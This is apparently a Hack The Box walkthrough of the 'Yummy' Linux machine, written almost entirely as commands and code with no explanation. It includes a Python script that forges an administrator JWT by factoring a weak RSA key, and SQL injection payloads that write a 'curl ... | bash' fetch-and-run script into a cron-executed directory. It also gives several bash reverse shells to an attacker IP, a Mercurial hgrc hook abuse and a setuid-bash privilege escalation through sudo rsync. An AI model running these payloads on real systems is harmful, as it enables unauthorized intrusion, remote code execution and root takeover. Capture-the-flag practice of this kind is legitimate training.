HTB靶场 Yummy(Linux)[Hard]

nmap -sC -sV -O -oN nmap.txt 10.10.11.36

/data/scripts/app_backup.sh/data/scripts/table_cleanup.sh/bin/bash /data/scripts/dbmonitor.sh

#!/bin/bashtimestamp=$(/usr/bin/date)service=mysqlresponse=$(/usr/bin/systemctl is-active mysql)if [ "$response" != 'active' ]; then        /usr/bin/echo "{"status": "The database is down", "time": "$timestamp"}" > /data/scripts/dbstatus.json    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)    /bin/bash "$latest_version"else    if [ -f /data/scripts/dbstatus.json ]; then        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then            /usr/bin/echo "The database was down at $timestamp. Sending notification."            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root            /usr/bin/rm -f /data/scripts/dbstatus.json        else            /usr/bin/rm -f /data/scripts/dbstatus.json            /usr/bin/echo "The automation failed in some way, attempting to fix it."            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)                /bin/bash "$latest_version"        fi    else        /usr/bin/echo "Response is OK."    fifi[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

from Crypto.PublicKey import RSAimport sympyimport jwtimport base64import jsoncookie = "" # 填入JWT原始值base64Str = cookie.split('.')[1]decodeFlag = 1while decodeFlag:    try:        decodeStr = base64.b64decode(base64Str)        decodeFlag = 0    except Exception as e:        base64Str = base64Str + "="        print(e)payload = json.loads(decodeStr)payload['role'] = 'administrator'n = int(payload['jwk']['n'])for i in range(2**19, 2**20):        q = i    e = 65537    p = n // q    try:        phi_n = (p - 1) * (q - 1)        d = pow(e, -1, phi_n)        key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}        key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))    except Exception as e:        continue    access_token = jwt.encode(payload, key.export_key(), algorithm='RS256')print(access_token)

?s=&o=ASC;select+version()+into+outfile+"/tmp/1.txt"%3b

echo "bash -i >& /dev/tcp/10.10.16.17/4445 0>&1">ryummy.sh    python -m http.server 80

nc -lnvp 4445

?s=&o=ASC;select+"curl+10.10.16.17/ryummy.sh|bash"+into+outfile+"/data/scripts/fixer-vyummy"%3b

?s=&o=ASC;select+version()+into+outfile+"/data/scripts/dbstatus.json"%3b

nc -lnvp 4446

echo “bash -i >& /dev/tcp/10.10.16.17/4446 0>&1” > /tmp/app_backup.shmv /data/scripts/app_backup.sh /data/scripts/app_backup_bak.shcp /tmp/app_backup.sh /data/scripts/app_backup.sh

hg log    

hg log -r . -vp    

ssh qa@10.10.11.36

/usr/bin/hg pull /home/dev/app-production/

nc -lnvp 4447

#!/bin/bashbash -i >& /dev/tcp/10.10.16.17/4447 0>&1

chmod 777 rdev.sh

mkdir /tmp/rdevhg

cd /tmp/rdevhghg initchmod 777 -R /tmp/rdevhg    

cp /home/qa/.hgrc /tmp/rdevhg/.hg/hgrcvim /tmp/rdevhg/.hg/hgrc

sudo -u dev hg pull /home/dev/app-production/

/usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* /opt/app/

cp /bin/bash /home/dev/app-production/bashchmod u+s /home/dev/app-production/bashsudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ls -la /opt/app//opt/app/bash -p   

cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && ls -la /opt/app/ && /opt/app/bash -p